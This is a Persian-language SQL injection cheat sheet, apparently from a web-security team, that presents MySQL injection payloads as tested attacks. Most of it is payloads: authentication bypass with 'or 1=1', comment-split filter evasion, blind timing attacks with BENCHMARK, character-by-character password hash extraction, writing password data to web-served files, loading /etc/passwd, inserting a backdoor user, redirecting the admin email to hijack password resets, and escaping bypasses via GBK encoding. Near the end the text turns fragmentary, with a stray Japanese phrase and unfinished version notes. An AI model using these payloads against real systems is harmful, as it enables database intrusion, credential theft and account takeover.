maskofgod
web application security
Wireless-programming Team
www.maskofgod.net

نکات پنهان تزریق اس کیو ال
(نسخه ۱)

SQL Injection cheat sheet
Version 1.00

نویسنده : حسام حاتمي

وبسایت : www.maskofgod.com

اي-میل : info@maskofgod.com

تاریخ انتشار : بهمن/۱۳۸۵

الف -مقدمه:

همانطور که اطلاع دارید یکی از حملات قدیمی وپرکاربرد در مورد برنامه های کاربردی تحت وب حملاتی موسوم به تزریق دستورات Sql میباشد ، در این حملات یکسری دستورات و عبارات غیر مرسوم در ورودی های برنامه کاربردی قرار داده میشود و با توجه به خروجی صادر شده از طریق برنامه کاربردی نفوذگر برای ادامه حمله خود تصمیم گیری خواهد نمود،حال این تنها در مورد برنامه هایی میباشد که ضعفهای امنیتی در برنامه نویسی دارند ولی Web Application های قوی خطاهای احتمالی را Handle کرده و باعث خواهد شد برنامه مورد نظر اطلاعات با ارزش را در اختیار نفوذگر قرار ندهد.

سطح این مقاله متوسط و پیشرفته میباشد.

در اصل این مقاله یک مرجع برای اینگونه حملات است که به مرور تکمیل خواهد شد ،شما هم اکنون نسخه ۱,۰۰ این مقاله را مشاهده مینمایید ،در صورتی که شما نیز میتوانید در تکمیل این سری از مقالات مارا یاری نمایید خوشحال خواهیم شد با ای میل ما تماس حاصل فرمایید.

با تشکر

حسام حاتمی(Info@maskofgod.com)

ب- sql cheat Sheet :

متنی که هم اکنون پیش رو دارید در اصل مجموعه ایست از یکسری حملات شناخته شده Sql .این حملات همگی بصورت صحیح طراحی شده و بر روی Local Host تست شده اند ، در طراحی این دستورات سعی شده سادگی و وضوح رعایت شود و همچنین روی اکثر نسخه های My Sql چک گردیده .

هر گونه به روز رسانی این مقاله را در اخبار سایت حتما به اطلاع شما خواهیم رساند.

نکته :

مواردی که در ذیل ذکر گردیده میتواند در Sql Server یا Oracle نیز تست گردند، اما در اصل برای My Sql نوشته شده و تست شده اند و صحت کارکرد آنها در My sql را تایید مینمایم.

اصول اساسی :

```
SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"
```

رد کردن حساس به متغییرها و دستورات :

```
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

SHOW TABLES
SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES

SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()

SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;
```

مجموعه دستورات تزریقی کور :

عملگرها

```
SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;
```

ارزیابی

all render TRUE or 1.

```
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);
```

ریاضی

```
SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);
```

مختلف

```
SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');
```

Benchmark

```
SELECT BENCHMARK(10000000,ENCODE('abc','123'));
```

(اینکار حدود ۵ ثانیه در لوکال هاست وقت میگیرد)

```
SELECT BENCHMARK(1000000,MD5(CHAR(116)))
```

(اینکار حدود ۷ ثانیه در لوکال هاست وقت میگیرد)

```
SELECT BENCHMARK(10000000,MD5(CHAR(116)))
```

(اینکار حدود ۷۰ ثانیه در لوکال هاست وقت میگیرد)

استفاده از تایم اوت برای چک کردن اینکه آیا همچنین کاربری وجود دارد یاخیر

```
SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
```

مواظب باشید چون اگر تعداد صفرها را زیاد کنید مرورگر شما متوقف شده یا از کار خواهد افتاد !

گرد آوری اطلاعات :

مپ کردن جدول

```
SELECT COUNT(*) FROM tablename
```

مپ کردن فیلدها

```
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
```

مپ کردن کاربران

```
SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'
```

حفره های پیشرفته اس کیو ال :

نوشتن اطلاعات در فایلها

```
SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
```

نوشتن اطلاعات در فایلها بدون استفاده از تک نقل قول (Without single quotes): (مثال)

```
SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
INTO OUTFILE
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
```

نکته : در این روش شما میبایست یک فایل جدید ایجاد کنید و دادن یک مسیر از فایل از قبل موجود کاربردی ندارد.

تابع بدون نقل قول CHAR() :

```
SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)
```

استخراج هش ها :

```
SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null)
FROM login
```

ارزیابی اولین کاراکتر پسورد کاربر رووت که 'a' میبلشد .(ASCII 97). هش حداکثر ۳۲ کاراکتر است و برای هر کاراکتری شما میبایست این پرس و جو را با CHAR() انجام دهید.
در حالتی استخراج هش امکان دارد که سینگل کوت اجازه داده شود
به مثال زیر دقت کنید :

```
SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97), BENCHMARK(1000000,MD5('x')),null)
FROM login

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login

where: (passwordfield,startcharacter,selectlength)

is like: (password,1,2) this selects: 'ab'
is like: (password,1,3) this selects: 'abc'
is like: (password,1,4) this selects: 'abcd'
```

یک مثال بدون کوت:

```
SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login
```

کاراکترهای ممکن

0 to 9 - ASCII 48 to 57 ~ a to z - ASCII 97 to 122

روشهای مختلف :

افزودن یک کاربر جدید به بانک اطلاعاتی

INSERT INTO login SET user = 'r00t', pass = 'abc'

بازیابی فایل /etc/passwd ، و قرار دادن آن در درون یک فیلد و وارد نمودن یک کاربر جدید.

load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user = 'r00t', pass = 'abc'

سپس ورود!

نوشتن db user در TMP:

SELECT host,user,password FROM user into outfile '/tmp/passwd';

تغییر admin e-mail برای هنگام فراموش کردن پسورد و بازیابی آن !

UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

رد کردن توابع(فانکشن) های پی اچ پی :

رد کردن addslashes() یا GBK encoding

WHERE x = 0xbf27admin 0xbf27

رد کردن mysql_real_escape_string() با BIG5 یا GBK

"injection string" に関する追加情報 :

به قبل my sql 4.1.x

۴,۱,۲۰ و ۵,۰؟

درباره تیم امنیتی Mask of god

به نام خدا

مقاله ای که مشاهده میکنید یکی از مقالات تیم امنیتی ماست.این تیم برای پیشبرد اهداف امنیتی و بلاخص امنیت در *Web Application* ها و بالابردن سطح معلومات تمام افرادی که در زمینه کامپیوتر به صورت تخصصی ،دست اندرکار هستند تشکیل شده که امید دارد بتواند در جامعه امنیتی ایران قدمی هر چند کوچک برای دانشجویان ،دانشپژوهان و علاقمندان به امنیت وب بردارد.

تیم امنیتی *maskofGod* کلیه تستهای آسیب پذیری و نفوذپذیری بر روی برنامه های کاربردی شما را میپذیرد تنها کافی است با مرجعه به وبسایت ما در قسمت نظرات و سفارشات ،سفارش مورد نظر خود را برای مسیول سفارشات ارسال کرده تا در اسرع وقت به درخواست شما رسیدگی شود.

همینجا از کلیه اساتید ،و دست اندرکاران امر تقاضا میگردد که ما را از انتقادات و پیشنهادات گهربار خویش محروم نسازند .و مشکلات کمی ها و کاستی های مقاله بالا و کلا مقاله هایی از این دست را بیان نمایند.

برای ارتباط میتوانید با ای میل ما تماس بگیرید: *info@maskofgod.com*
حسام حاتمی

www.maskofgod.com
M.O.G Teams